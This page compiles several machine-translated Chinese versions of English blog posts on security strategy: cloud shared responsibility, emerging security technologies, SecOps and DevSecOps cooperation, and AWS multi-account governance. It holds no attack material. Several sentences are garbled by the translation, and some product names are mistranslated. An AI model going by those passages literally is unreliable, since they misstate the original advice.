讨论:请加入知识星球或者小红圈【首席架构师圈】
- 75 次浏览
【安全战略】4应在2018年推动您的安全战略的实践
保护云中的数据和应用程序从未如此重要。
头条新闻不断提醒人们,在违规行为之后,对业务的破坏性(或灾难性)影响。 2017年最引人注目的漏洞事件中的许多都提醒您组织内部和外部可能存在的漏洞。
虽然没有单一的解决方案可以防止每次攻击,但是在整个组织中主动建立云安全意识是阻止通常在违规之前发生的恶意活动的第一道防线。
以下是应该在2018年推动您的安全策略的4种做法:
- 了解您的安全责任
- 确保您团队的云安全技能能够应对挑战
- 在每个部署级别实施安全性
- 建立安全第一的文化
1.了解您的安全责任
在云中,整个安全框架在提供者和客户之间的共享责任模型下运行。为了使这个模型有效,清楚地了解每一方的角色和责任是一个重要的起点。
从基础架构的角度来看,云服务提供商负责确保其数据中心具有足够的物理安全级别。服务提供商管理整个全球基础架构的安全性,从物理存在到提供计算,存储,数据库和网络服务的底层基础资源。这些功能共同提供了一个安全的云环境。
导入数据并利用提供商服务的客户有责任使用这些服务和功能来设计和实施他们自己的安全机制。这可能包括访问控制,防火墙(实例和网络级别),加密,日志记录和监控等。
AWS,Azure和Google Cloud都采用了共享责任模型。检查与每个提供商的服务水平协议,以充分了解双方的义务。
2.确保您团队的云安全技能能够应对挑战
根据迈克菲的说法,36%的组织正在采用云,即使承认没有正确的安全技能。
36%的组织正在采用云,即使在没有采用正确的安全技能的情况下也是如此。
2017年,由于人为错误以及Amazon Simple Storage Service(S3)等服务中配置不当的安全设置,数以百万计的客户记录和其他敏感数据暴露出来。 RedLock的研究人员发现,40%使用云存储的组织意外地向公众公开了这些服务中的一项或多项。黑客和其他不良行为者充分意识到人类的错误,他们完全有能力在企业走捷径时利用安全漏洞。
在这些情况下,这不是技术的失败,而是缺乏对安全重要性的理解以及缺乏使您的企业面临风险的技能。
正如业务压力首先影响急于迁移一样,领先的公共云供应商发布的新服务和更新的速度和数量使得团队难以跟上。云提供商已快速开发和发布创新技术,以确保云数据和应用程序的安全。例如,11月发布的AWS GuardDuty本质上是一种智能威胁检测服务,也是第一种使用人工智能和机器学习来检测可疑活动的服务。
对于公司来说,投入所需的时间和资源来培训内部云团队以正确有效地设计安全,可靠,可审计和可追溯的云解决方案同样满足您的业务需求至关重要。
3.在每个部署级别实施安全性
您的基础架构仅与其最薄弱的环节一样安全。威胁不仅限于外部来源。您的团队必须准备好正确地构建针对非恶意内部漏洞或用户特权漏洞以及最复杂攻击的漏洞以及介于两者之间的所有漏洞。
通过在部署的每个层实施安全措施,您可以最大限度地减少基础架构的攻击面积。
Amazon Web Services,Microsoft Azure和Google Cloud Platform提供了一系列服务和工具,您的团队可以使用这些服务和工具来设计,实施和构建适当级别的安全性,以保护云中的数据和应用程序。您的团队应充分了解您的云服务提供商提供的托管安全服务,以及在开发和部署生命周期各自部分内构建相关安全措施的知识和技能。
4.建立安全第一的文化
云采用会影响整个业务,从基础架构级别的技术变更到涉及所有级别和员工团队的文化变更。因此,安全性必须成为您业务战略的一部分,并且必须从组织的最高层加强。
如果不了解安全性在每个部署层面的影响,就可以忽略最佳实践,可能会出现错误,可能会出现快捷方式,并且会将漏洞安静地设计到解决方案中。建立以安全为先的文化将确保安全性处于所有相应方法,实践,流程和程序的最前沿。
通过发布“安全优先”指令并在业务的所有领域采取行动进行备份,您的组织将更自信地在云中运营。
讨论:请加入知识星球【首席架构师圈】
- 30 次浏览
【安全战略】5种新兴安全技术将战胜战场
数据保护者和数据窃贼之间的战争被描述为猫捉老鼠游戏。一旦白帽反击一种形式的黑帽恶意行为,另一种恶意形式就会抬起它的丑陋头脑。如何在有利于信息安全战士的情况下倾斜比赛场地?以下是五种新兴的安全技术,可以做到这一点。
1.硬件认证
用户名和密码的不足之处是众所周知的。显然,需要一种更安全的身份验证形式。一种方法是将身份验证烘焙到用户的硬件中。英特尔正在朝着这个方向发展,在其新的第六代Core vPro处理器中使用Authenticate解决方案。它可以同时结合各种硬件增强因子来验证用户的身份。
英特尔在之前的努力基础上,将一部分芯片组用于安全功能,使设备成为身份验证过程的一部分。良好的身份验证需要用户提供三件事:他们知道什么,例如密码;他们是谁,例如用户名;他们有什么,比如令牌。在Authenticate的情况下,该设备成为你拥有的。
“这不是新事物,”451 Research信息安全研究主任斯科特克劳福德说。 “我们已经在其他表现形式中看到了这一点,例如许可技术和令牌。”
硬件身份验证对于物联网(IoT)尤为重要,因为网络希望确保尝试访问它的东西能够访问它。
但是,克劳福德指出,“该技术最直接的应用是在传统IT环境中对端点进行身份验证 - 使用英特尔芯片组的笔记本电脑,台式机和移动设备。”
2.用户行为分析
一旦某人的用户名和密码遭到入侵,拥有这些用户名和密码的人就可以跳入网络并参与各种恶意行为。如果他们采用用户行为分析(UBA),那么这种行为可能会触发系统防御者的红旗。该技术使用大数据分析来识别用户的异常行为。
“这对企业有很大的兴趣,”451的克劳福德说。
“用户活动是安全专业人士的头号问题。”
他解释说,该技术解决了企业安全问题的盲点。 “一旦攻击者进入企业,那么会发生什么?”他问。 “他们做的第一件事就是妥协凭证。那么问题就变成了,你能区分合法用户的活动和已经获得进入的攻击者,破坏了合法用户的凭据,现在正在寻找其他目标吗?”
对不符合合法用户标准的活动的可见性可以在攻击链的中间关闭一个盲点。 “如果你认为攻击链是初始渗透,横向移动,然后是敏感数据的妥协,盗窃和泄漏,那么攻击链中的中间环节对于企业安全专业人员来说并不是很明显,这就是为什么对今天的用户行为分析,“克劳福德说。
将用户的当前行为与过去的行为进行比较并不是UBA识别恶意行为者的唯一方式。 “有一种叫做'同行分析'的东西,”威胁分析公司Bay Dynamics的项目管理副总裁Steven Grossman解释道。 “它比较了某人的行为与同一经理或同一部门的人的比较。这可能表明该人正在做他们不应该做的事或其他人接管他们的账户。”
此外,UBA可以成为培训员工更好的安全实践的宝贵工具。 “公司最大的问题之一是员工不遵守公司政策,”格罗斯曼说。 “能够识别这些人并通过正确训练来降低风险是至关重要的。”
“用户可以被识别并自动注册参加适合他们违反的政策的培训。”
3.数据丢失预防
防止数据丢失的关键是加密和标记化等技术。他们可以将数据保护到字段和子字段级别,这可以通过多种方式使企业受益:
如果成功违规,网络攻击者无法通过数据获利。
可以在扩展的企业中安全地移动和使用数据 - 可以对受保护形式的数据执行业务流程和分析,从而显着降低风险和风险。
企业可以极大地帮助遵守数据隐私和安全法规,以保护支付卡信息(PCI),个人身份信息(PII)和受保护的健康信息(PHI)。
“在过去的几年里,有很多安全支出,但2015年遭遇的记录数量比去年大幅增加,”451的克劳福德说。 “这促使人们对加密感兴趣。”
然而,正如SANS研究所新兴安全趋势主管John Pescatore指出的那样,身份验证在预防数据丢失方面发挥着重要作用。
“没有密钥管理就无法实现强大的加密,没有强大的身份验证就无法进行密钥管理。”
4.深度学习
深度学习包括许多技术,例如人工智能和机器学习。 “无论它被称为什么,出于安全目的,人们都非常感兴趣,”451的克劳福德说。
与用户行为分析一样,深度学习侧重于异常行为。 “你想要了解恶意行为在安全方面偏离合法或可接受行为的地方,”克劳福德解释说。
“当你在企业网络上查看活动时,其行为不是用户行为,而是仍然是恶意的。因此,即使它正在关注行为,它也会关注行为分析的略有不同的应用。”
Booz Allen的高级副总裁Brad Medairy解释说,该系统不是关注用户,而是关注“实体”。 “精确的业务分析和机器学习模型的最新发展意味着我们现在能够查看企业中从微观层面到宏观层面的各种实体。例如,数据中心作为一个实体,可以表现为某种方式,类似于用户。“
高级恶意软件检测平台制造商Acuity Solutions的总裁Kris Lovejoy补充说,使用机器学习可以帮助消除高级持续性威胁的祸害。 “凭借其能够以线速度解读好坏软件之间的能力,机器学习技术将为寻求缩短高级威胁检测和根除时间的安全从业者提供重要的福利,”她说。
克劳福德表示,他希望继续为安全目的进行深度学习投资。然而,他补充说,“企业面临的挑战是,很多公司都会采用类似的方法来解决同样的问题。区分不同厂商之间的区别对于未来一年的企业来说将是一项重大挑战。超越“。
5.云
“云计算将对安全技术行业产生一种变革性影响,”克劳福德说。
他解释说,随着越来越多的组织将云用于传统上属于内部部署IT的领域,将出现更多出现在云中的安全方法。内部部署技术将转换为云。诸如虚拟化安全硬件,虚拟化防火墙以及虚拟化入侵检测和防御系统之类的东西。但这将是一个中间阶段。
“如果你考虑基础设施即服务提供商可以为所有客户做大规模的事情,可能就没有必要在现场提供你需要的所有防御措施,”克劳福德说。 “基础架构即服务提供商将把它构建到他们的平台中,这将减轻为单个云客户做到这一点的需求。”
SANS'Pescatore补充说,政府机构和私营企业通过使用亚马逊和Firehost等IaaS服务提高了数据中心的安全性。 “GSA FedRAMP计划是”经过认证的足够安全“云服务的一个很好的例子,它使普通企业更容易拥有高于平均水平的数据中心安全性,”他说。
这五个应该帮助infosec战士获得上流。我们错过了什么?您建议使用哪些技术来推动信息安全?通过以下评论称重。
原文:https://techbeacon.com/security/5-emerging-security-technologies-set-level-battlefield
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 29 次浏览
【安全战略】为什么安全和IT运营必须在2019年合作
尼尔·西蒙的戏剧和电影“奇怪的夫妇”取决于两个角色,奥斯卡和菲利克斯,他们有着完全不同的优先事项,却发现自己生活在一起 - 并且互相制造挫败感。
经过短暂的一段时间,奥斯卡将费利克斯赶出了他的公寓,但在最后一幕中,他发现(剧透警告)他意识到菲利克斯对他产生了积极的影响。菲利克斯的生活变化将两者结合在一起。
同样,IT安全和运营的变化正在促使更多的合作。虽然这些团队通常在一定距离内操作,但彼此之间的强制容忍,必须改变。来自欧盟通用数据保护法规(GDPR)和加州消费者隐私法案(CCPA)等隐私法的监管压力越来越大,以及由于补丁管理缓慢导致的高可见性黑客攻击,正在推动这些团队更加紧密地协调他们以互惠互利的方式努力。
我们还看到了DevOps的结果,模糊了开发人员和运营团队之间的界限,以更快速,更成功地部署代码。 DevOps所经历的成功是SecOps关系复兴的路线图。
菲利克斯和奥斯卡之间的争吵有时导致菜肴破碎。在现实生活中的IT中,监管罚款和安全漏洞等待那些不能一起工作的团队。寻找以下机会,以加强2019年安全和运营团队之间的合作。
1.建立补丁管理合作伙伴关系
谁在您的组织中拥有补丁管理?通常,运营是负责任的,负责任的,安全和审计提供政策和验证。该系统可以工作,但它有时会产生“我们与他们”的心态。
很容易指出操作,并说他们的补丁管理系统被破坏或缺乏足够的优先级。有时就是这种情况;必须为操作提供明确的时间表,以便部署能够关闭关键漏洞的补丁,并且需要资源来实现这一点。
但有时候,对于操作来说,更改量可能会非常大,有时必须锁定系统,或者在不破坏旧应用程序的情况下无法修补应用程序。
如果安全性将补丁管理视为一种伙伴关系,那么这些挑战可以一起解决。安全性可以通过定期重新确定漏洞的优先级来帮助运营,并且在冻结变更的情况下,可以提供缓解策略,例如网络分段或其他安全监控。
2.共享身份和访问数据
虽然补丁管理几乎总是操作的责任,但身份和访问管理(IAM)通常是一个联合监管程序。通常,管理和治理职责之间存在界限,但它们使用通用的IAM平台。
根据2018年的Verizon数据违规调查报告,凭借安全漏洞的最高威胁,凭据受到损害,安全和运营对于管理和管理身份和访问的集成方法至关重要。
实际上,这意味着使用身份和访问数据作为安全信息和事件管理(SIEM)的洞察源。这不仅仅是为了法医目的,在违规后搜索证据,而且还可以实时用作通过警告异常访问模式或滥用特权来识别正在进行的违规行为的方法。
响应特权滥用还应该导致权利的快速撤销,直到可以调查事件,因为一旦攻击者拥有内部人员的证书,损害可以在几分钟内完成。这需要集成回IAM平台以自动响应。
3.管理数据 - 而不仅仅是数据库
数据库管理是操作提供的关键技能,但通常侧重于维护数据库的性能。由于隐私权要求和攻击者专注于数据,安全团队可以使用应用程序和数据库管理员的一些支持来保护数据。
加密虽然不是隐私法规要求,但在攻击者访问包含PII的数据库时,可为个人身份信息(PII)提供重要保护。一些管理员不愿意支持加密,担心复杂性或性能挑战。然而,现有的格式保留加密方法以不改变数据格式的方式加密数据,导致强加密,几乎不需要应用程序已经运行的方式进行更改。
4.拥抱变化
很少有管理员愿意接受通常属于特权管理工具的手铐。但是,随着DevOps的压力越来越快,并且与补丁管理保持同步,需要使实施变更更容易进行操作。
安全团队必须抵制在每个系统上实现特权管理工具的每个功能的冲动。应该应用多少权限管理的选择必须基于风险。对于许多系统,检查密码和会话记录就足够了。更好的是基于风险的活动控制,如果使用高风险命令,则终止访问或升级身份验证。
此外,一些变化对时间敏感,以防止正在发生的事件成为头条新闻。通过编排工具自动执行对安全事件的常见响应,以便在选择更改时实现快速反应,同时将风险降至最低。
5.共同规划和培训响应程序
所有优秀的团队一起练习和训练,并且需要做同样的事情来应对网络攻击。 NIST网络安全框架于2018年4月更新,要求将响应计划,通信,分析,缓解和改进作为核心响应功能的一部分。
建立和实施上述每项活动的协议和程序的时间是在发生违规行为之前。试图在危机中弥补它们会留下不可避免的空白并延长暴露时间,从而造成更多的破坏。
在构建和培训这些协议和程序时,操作和安全性同等重要。一些组织认为安全性是IT安全团队的唯一责任。这不是一种实用的方法,因为任何处理过重大安全漏洞的人都会告诉您。
虽然IT操作和安全可能感觉像一对奇怪的夫妇一起被迫生活在一起,但是两个团队一起做的工作越多,每个人对另一个人的看法就会越多。
这最终将提高IT服务的机密性,完整性和可用性。这只是安全性和操作如何更紧密地协同工作的部分列表。加入对话,分享您的想法。
原文:https://techbeacon.com/security/why-security-it-ops-must-team-2019
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 22 次浏览
【安全战略】在DevOps环境中管理安全性
DevOps是一种软件开发实践,开发和运营工程师在整个产品生命周期中进行协作。随着DevOps在主流级别的采用,我们现在看到安全性开始在DevOps的日常职责中发挥更大的作用。从安全角度来看,DevOps可以通过将安全性从最早阶段更紧密地嵌入到软件开发生命周期中来帮助提高应用程序的安全级别。但这种进步并非没有挑战和权衡。在这篇文章中,我们将研究DevOps对企业安全和安全组织的影响。
关于安全责任的辩论
编写好的代码意味着在代码开发过程中采用良好的安全实践。毫无疑问,开发人员需要编写具有高安全性标准的代码,但是出现的问题是谁负责组织的安全性?
在非DevOps环境中,我们看到集中安全模型的趋势,其中安全解决方案由公司安全团队管理。该团队执行组织安全策略 - 这意味着他们对安全性负责,并将实施和控制所需的安全产品以检测和阻止攻击。
但是,在应用程序开发方面,集中式安全模型存在已知的挑战。我们从不止一个Imperva客户那里听说,安全团队和应用团队之间往往没有很强的合作(协调,沟通......)。例如,应用程序团队在应用程序更改时不会更新安全团队,因此安全团队无法在启动新版本之前更新安全策略。
DevOps方法改变了组织思维。这个想法是“每个人现在都负责安全” - 这就是DevSecOps概念的出现方式。但企业安全团队如何适应新形象?
将安全责任转移给开发人员的挑战
采用DevOps通常会改变安全模型。一些职责从IT安全组织转移到应用程序团队。例如,除了部署应用程序之外,我们还看到应用程序团队部署(和运行)安全解决方案,例如Web应用程序防火墙(WAF)。
虽然这种变化可能带来好处,但它也可能给组织的安全带来一系列新的挑战。首先,在每个应用程序组中维护安全人才是低效的。在不同团队之间拆分安全知识会使在整个组织中应用统一安全策略的工作变得复杂。
此外,并非所有问题都可以通过编写安全代码来解决。作为一个例子,让我们看一下外部库的使用。现代应用程序倾向于依赖提供标准和经过验证的功能的第三方框架和库。通过使用这些库可能出现的安全漏洞的演示是Heartbleed,这是广泛使用的OpenSSL加密库中的一个漏洞,它影响了数百万个网站。通过单独修补所有应用程序来缓解Heartbleed和类似的漏洞是一项几乎不可能完成的任务。但是,使用集中式安全解决方案(例如使用虚拟修补程序的WAF)可以快速有效地保护所有系统。
但我觉得有一个更大的问题需要讨论。安全所有权。
安全团队的角色转变
在与客户交谈时,我们听到安全架构师说他们的角色将转变为“组织的安全顾问。”听起来很棒 - 这种转变可能会带来好的结果。安全工程师将开始与开发人员密切合作,减少组之间的摩擦,提高开发人员对安全性的意识。另一方面,将角色从所有者更改为顾问可能会降低安全专业人员的承诺水平,因为他们不再感到自己“拥有”安全性。
另一个主要问题是事件响应,因为安全性的所有权并未在部署时结束。虽然安全团队生活和呼吸安全,专注于预防和缓解,但应用程序团队无法对安全性给予同等程度的关注。在DevSecOps中,应用新的安全配置是一项任务,例如发布新版本的代码。安全工程师会立即将更新的策略应用为高优先级,但在DevSecOps下,此任务将成为代码发布管道的一部分,其时间可能因不同的应用程序团队而异。
安全组织在未来时代的作用
鉴于违规成本高且不断增长,安全仍将是优先事项。有人总是需要对组织的整体安全负责。执行管理层将继续让安保人员对整个安全负责,这似乎很自然。在这种情况下,安保人员必须继续在制定和执行安全战略方面发挥积极作用,不仅可以担任顾问。
毫无疑问,安全组织必须适应DevOps引入的不断变化的环境。即使在他们的新角色中,无论在其环境中如何形成,安全团队仍将定义和实施安全准则,自己的安全系统并定义如何将安全性合并到DevOps流程中。
安全产品还必须适应新环境,并提供与DevOps环境的更好集成。安全供应商必须意识到他们的用户可能不再只是安全专业人员,因为部署可以由软件工程师执行。安全经理有责任通过要求更多的自动化功能,推动供应商在需要时调整产品。
最后的想法
高层管理人员花了几十年的时间才要求安保人员在行政桌上提供企业安全状况更新。 DevOps可能会改变游戏规则,因为它为组织带来了很多价值 - 它提高了生产力和质量,甚至(在某些情况下)提高了安全标准。但共享的安全所有权可能会使事情倒退 - 消除了多年来在保护网站和服务方面取得的许多进展。虽然安全组织需要适应DevOps和DevSecOps的新世界,但它无法逐步淘汰并完全将安全性的所有权移交给开发人员。放弃完全控制可能最终会降低安全标准。随着安全漏洞趋势如今,安全团队发现一旦放开缰绳就很难重新获得控制权。
原文:https://www.imperva.com/blog/managing-security-devops-environment/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 102 次浏览
【安全战略】架构安全与治理在你AWS帐户:第1部分:介绍。
“安全永远是我们的首要任务。——沃纳·沃格尔斯,亚马逊副总裁兼首席技术官
敏捷性、成本、自主和更快的上市时间是为什么大多数客户将在06工作负载到云——让我们找出我们可以移动安全←左边对齐到这些软件开发原则——安全不应成为瓶颈,您可以使用云安全的工作负载在云上。
目标受众
如果您已经使用AWS Cloud几年了,我相信您能够理解我在这篇文章中试图表达的观点。请与更广泛的观众分享你的经历。如果你即将开始你的旅程,这是一个很好的开始,因为我将总结我多年来学到的一些实践。
我想你已经和AWS合作至少一年了。因此,在本系列的这一部分中,我不会详细解释本文中提到的任何AWS服务;相反,我将重点介绍您应该实现的策略,以获得更好的安全体系结构。本系列的其他部分将介绍一些实现。
在过去的两年里,我花了大量的时间与我的团队和其他云专家通过许多开源平台一起工作,试图改进AWS云上的安全实践。虽然在纸面上听起来很简单,但是在生产规模上实现它是一项非常具有挑战性的任务,需要跨不同的团队和非常不同的技术堆栈集进行协作。
不要担心,因为我们将涵盖所有的细节和即将发布的帖子。希望你能从我们的错误中吸取教训,并利用我们的胜利。重要的是,与我们分享你的经验。
这就解决了。我们走吧,走DevOps的路!
文化
消除指责的循环
在讨论AWS上的安全实现之前,让我们先从我们(安全人员)、我们的文化、我们的流程和思维方式开始。
“总的来说,我们辜负了客户。——VMWare首席执行官帕特•盖尔辛格(Pat Gelsinger)表示。
帕特说的对极了,我们的安全团队。多年来,我们关注的是威胁,而不是建立安全能力。首先,安全团队将大部分时间花在应对威胁上,而不是预防威胁。
我们应该更多地讨论收缩攻击表面的实现和预防机制。复杂、缓慢和团队间的冲突破坏了许多组织。只有当您将简单性应用于流程,将更多的协作精神应用于企业文化,并将可靠的安全原则(由数据支持)应用于决策引擎时,您才能看到事情正在朝着正确的方向发展。我也同意安全团队资金不足的说法,他们总是为了“最好的性价比”而奋斗。“这使我们更聪明!
我们的团队必须共同努力,以实现组织的安全目标;最后,安全应该是每个人的工作。我们花在互相指责上的时间越少,我们就越容易有效地合作。
共享责任模型
我知道,你在想,从哪里开始呢?我知道您正试图赶上每天发布新特性或bug修复的应用程序团队,他们有很多需要担心的事情。我知道这很容易跳的很酷的东西,开始实施策略通过自动化或其他方式,但理解你作为一个客户的责任就是你需要开始,所以开始与共同责任模型因为你会避免很多新手的错误。
AWS共享责任模型
根据您对AWS计算服务(EC2、ECS/EKS或lambda等)或公共云模型(IaaS、PaaS或SaaS)的选择,您作为客户的责任可能会发生根本性的变化,但是我们不会在本文中详细讨论这一点,因为这篇文章可以独立撰写。
但是,在高层次上,您应该非常担心数据的安全性,因为您不能将此责任转移给AWS,无论您使用什么AWS服务或采用什么公共云模型,这都是您的义务。
您越接近无服务器,就越不需要担心补丁管理和OS级别的安全加固噩梦。
对于您的公共云模型也是如此,您越倾向于SaaS,就越不需要担心基础设施安全性。请注意,我不是提倡SaaS,我只是陈述事实。
公共云模型
多账户模型
理解了作为客户的安全性职责之后,就可以考虑大规模地实现治理了。早期采用者学到的重要经验之一是;从安全和成本管理的角度来看,将应用程序部署在一个AWS帐户上是一种危险的做法,因为它会使云管理过程复杂化。
AWS帐户体系结构
我将让您决定如何构建您的帐户,但是上面的图表说明了一个常见的模式。
您需要为开发人员提供一个沙箱帐户来尝试新功能,并为每个产品提供正式的开发、预戳和戳帐户。拥有一个日志帐户,您可以在其中聚合所有CloudTrail日志、配置规则、S3访问日志和其他与安全相关的数据,审计人员可能需要访问这些数据,以防发生违规。
您还需要一个用于对其他帐户执行策略的管理帐户。尝试将帐单委托给帐单管理帐户,而不是使用主帐户。使用主帐户对链接帐户应用组织服务控制策略。
资源标签是一个巨大的问题,成本控制是当今企业面临的重要问题之一。再一次,多账户模型来拯救,因为您已经将每个产品部署到一个单独的AWS帐户上,所以您知道“产品团队”可以吃掉整个账单,您不应该过多地担心他们的标记缺陷事件,尽管我认为标记对于许多其他原因是必要的。
许多为所有应用程序使用一个帐户的AWS客户都经历了服务限制不断增加的痛苦。您有许多工程师在争夺有限的资源(s3 bucket、计算机资源和其他资源),更不用说AWS有一些无法为您增加的硬限制。
我一直最喜欢的多账户模式的好处是它提供的有限爆炸半径。我可以确保开发团队A不能访问开发团队B的账户,这样他们就不会破坏他们的东西。我也可以在晚上睡觉时知道,如果我的猫在AWS账户120上的图像处理产品被入侵,我在其他AWS账户上的其他产品将不会受到影响。我想你现在看到了使用这个模型的好处:)而且它不会花费你更多的钱!在您开始使用资源之前,AWS帐户是免费的。
云计算赋能
确保您所做的一切不会毫无理由地阻塞您的开发人员。必须在允许开发人员快速开发和确保环境安全之间取得平衡。首先要确保开发人员知道,您并不是要充当拦路虎,而是要充当推动者。
建立一个商定的安全基线,该基线需要满足您的业务的每个帐户,以符合特定于行业的法规。
解剖学和速度是必不可少的业务安全所以确保你对齐安全实践你的业务工作在和谐,说这很简单,因为它需要大量的传福音,了解你的产品和基础设施除了你所有的合规要求。
自动化&策略as Code (PaC)
云托管
我不知道您的想法,但是用代码构建安全策略并在几分钟内将其部署到生产环境中,这种想法非常酷。你可以控制你的策略的版本,知道谁做了一个糟糕的合并,以及最后一个好的版本是什么。
还记得开发人员需要等待五周才能批准防火墙请求吗?那些日子一去不复返了。开发人员现在可以在几秒钟内创建安全组规则,并在更短的时间内向全世界开放端口22。
开发人员从不关心充满过时安全策略的冗长文档,他们从不阅读这些文档,即使您花费了宝贵的时间来更新它们,他们也不会这样做。
那么你应该怎么做呢?如果您正在考虑自动化您的安全策略,那么您应该拍拍自己的肩膀。为了跟上速度,云提供了你的业务;安全策略需要像您的基础设施一样灵活。您需要像您的应用程序团队一样快速或缓慢地移动。
在AWS、AWS组织服务控制策略、IAM策略以及特定于服务的策略(如KMS键策略和bucket策略)上定义策略的方法有很多。
自动化使这种灵活性成为可能,而编写策略是不可思议的,因为可以将安全策略视为基础设施和应用程序代码。策略可以在git中检入、修改、改进、重构、由多人查看,应用于应用程序代码的所有内容都可以应用于策略代码。
您可以使用Lambda和CloudWatch事件等服务,或者利用云托管等开源工具来帮助您通过自动化实现遵从性。
关键是,自动化您的安全控制,或者准备好输掉这场战斗。
实时检测、通知和修复是非常云化和人性化的。
如果您的开发人员在部署Prd期间向全世界开放了s3 bucket,请检测到这一点,并立即通知他们您已经检测到这个问题并为他们修复了它。如果您在产品投产两周后发现安全性问题,那么说服构建器修复它将不是一项有趣的工作。实时反馈通常很受欢迎,因为他们可以立即采取行动。
身份和访问管理
AWS IAM
AWS IAM是AWS安全的核心。如果你和我的忍者交谈,他们会告诉你,让AWS的IAM正确是一个游戏改变者,因为在我看来,这是AWS最强大的服务之一。
AWS IAM使您能够定义非常细粒度的策略,帮助您轻松设置边界和实现最小特权原则。IAM集成了所有AWS服务,甚至包括允许您直接在其上建立策略的服务,如s3和KMS。
IAM的关键是使用角色并假设这些角色,而不是在任何地方都必须使用API键。此外,尽可能自动化策略、组和角色的创建,并为策略、角色和组定义良好的命名转换,以避免配置偏移。理解条件和IAM操作可能比较棘手,但是如果您想要严格控制访问策略,那么这是必不可少的。
我给您的建议是,请避免使用单一的AWS帐户模型,这样您就可以避免切割策略。
数据安全
通过加密静止、传输中的数据,并确保只有需要访问数据的人才能访问数据,从而确保数据的安全是至关重要的。尽管这看起来很简单,但是许多组织都不能理解它。
我经常在google上搜索s3 bucket泄漏的数据,并与我圈子里的人分享我的发现,以吓走所有人。我记得有好几天没有听到这种新闻。
我学到的教训是尽早对数据进行分类,并确保所有数据存储都有所有者。您还应该加密所有内容,并确保所有数据存储都受到保护。
KMS是不可思议的,因为它为您完成了所有繁重的工作,创建主键、数据键和键旋转都是由AWS为您管理的。如果你想有更多的控制权,你可以带客户的钥匙,自己管理他们。
基础设施安全
由于AWS为您处理物理基础设施安全性,所以您可以关注VPC中的流量和资源的安全性。首先创建私有和公共子网,使用VPN或bastion主机访问服务器。使用nacl和安全组来限制流量是必须实现的最佳实践。
通过利用不可变基础设施的概念,避免使用SSH之类的协议,因为它本质上提供了更大的安全性。
不修补实例只是重新构建一个新的AMI,不进行适当的更新,只是从一个基本映像进行销毁和构建。
使用AWS git-secrets检测意外签入git存储库的密钥。使用EC2角色而不是API密钥,也不要忘记您的EC2密钥对,如果这些泄漏,rest确保您的服务器将在短时间内挖掘比特币。
如果您使用s3作为静态web主机,我强烈建议使用CloudFront发行版作为bucket的前端,并利用AWS原始访问标识将bucket限制在发行版中。该模式将对象隐藏起来,使您能够访问AWS WAF和Shield等不能直接与s3一起工作的安全特性。
弹力
Netflix混乱的猴子
高可用性、操作的连续性、健壮性和恢复能力以及灾难恢复通常是使用AWS部署云的原因。多az和多区域部署都是我们都需要根据AWS架构良好的框架进行调整的模式。
使用诸如AWS架构良好的工具可以帮助您在AWS上部署更具弹性的工作负载。AWS使您更容易为失败进行架构,大多数服务提供高可用性和持久性,其他服务可以被架构为更具弹性。AWS建议我们在设计时考虑四大支柱;安全性、可靠性、成本优化和性能。
AWS架构的四大支柱
在完成设计和实现阶段之后,可以通过引入混沌工程和增强对基础设施的信心来测试基础设施,还可以定义能够帮助您在出现故障时更快地恢复的过程。您可以从单个节点(AZs)开始测试,或者取下整个区域,看看您的应用程序如何处理这些问题。
日志记录和监控
必须启用CloudTrail、Config和VPC流日志,并将其聚合到日志帐户中。您还应该确保在每个区域中都启用了这些服务,如果有人试图禁用其中任何一个服务,则会通过自动化得到通知。
还应启用AWS guardduty和AWS SecurityHub;两者都提供出色的监视功能。被动监视是不够的,我们应该以实时自动化来应对安全事件为目标。
事件响应
说到实时自动化,我们应该拥有一个剧本,帮助指导我们业务中的安全专业人员和涉众更有效地响应安全事件。
不知道谁拥有这些数据,不知道如何处理一个受攻击的实例或更糟的事件——一个被劫持的AWS帐户——是一个糟糕的处境。我们需要尽可能地自动化,但我们也需要定义的职责和文档化的流程,以便我们可以参考。我认为这个主题写起来会很有趣,所以我很快就会在这里停下来写一篇博客!
DevSecOps
这是一个很像DevOps的流行词汇。DevSecops或SecDevOps是在CI/CD工作流上实现安全性的实践。当代码通过所有较低的环境进入生产环境时,将扫描并检查其安全性漏洞。
我们不会等到安全团队在我们的代码投入生产前的最后一分钟才祝福我们的代码,我们会尽早从安全性着手,在编写代码时使用IDE插件来查找安全性bug。使用Docker bench等工具以及其他可以轻松与Jenkins集成的工具是一个很好的起点。
DevSecOps是一种以“每个人都对安全负责”的心态来处理IT安全的方法。它涉及到将安全实践注入组织的DevOps管道。目标是将安全性合并到软件开发工作流的所有阶段。这与它的前辈开发模型相矛盾——DevSecOps意味着您没有为SDLC的最后阶段保存安全性。
合规验证
你有客户的信用卡信息吗?医疗保健信息?或任何个人识别资料(PII)?当您根据特定于行业的最佳实践检查基础设施时,您需要了解您正在做什么。
如果你不遵守行业规则,你就不能做生意。我们可以使用AWS配置规则来持续审计我们的基础设施。如果我们不需要遵守其他框架,如PCI DSS或HPPA,那么我们至少应该从CIS基准开始。
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 23 次浏览
【安全框架】解释了12大IT安全框架和标准
视频号
微信公众号
知识星球
一些IT安全框架和网络安全标准可用于帮助保护公司数据。以下是为您的组织选择合适的建议。
信息安全管理包括许多领域--从外围保护和加密到应用程序安全和灾难恢复。法规遵从性法规和标准(如HIPAA、PCI DSS、Sarbanes-Oxley法案和GDPR)使IT安全更具挑战性。
这就是IT安全框架和标准有帮助的地方。法规、标准和框架的知识对所有信息安全和网络安全专业人员至关重要。从审计的角度来看,遵守这些框架和标准也很重要。
为了帮助管理流程,让我们看看IT安全标准、法规和框架是什么,以及一些更受欢迎的选项可供选择以及如何使用。
什么是IT安全标准和法规?
标准就像一个配方;他们列出了要执行的步骤。管理良好的IT组织必须符合标准中规定的要求。
相比之下,法规具有法律约束力。他们描述如何做某事的方式表明政府和公众对法规中规定的规则和程序的支持。不遵守以IT为重点的法规可能会导致经济处罚和诉讼。
什么是IT安全框架?
IT安全框架是一系列文档化的过程,定义了信息安全控制的实施和持续管理的政策和程序。这些框架是管理风险和减少脆弱性的蓝图。
信息安全专业人员使用框架来定义管理企业安全所需的任务并确定其优先级。框架还用于帮助为合规性和其他IT审计做准备。因此,该框架必须支持标准或法规中定义的特定要求。
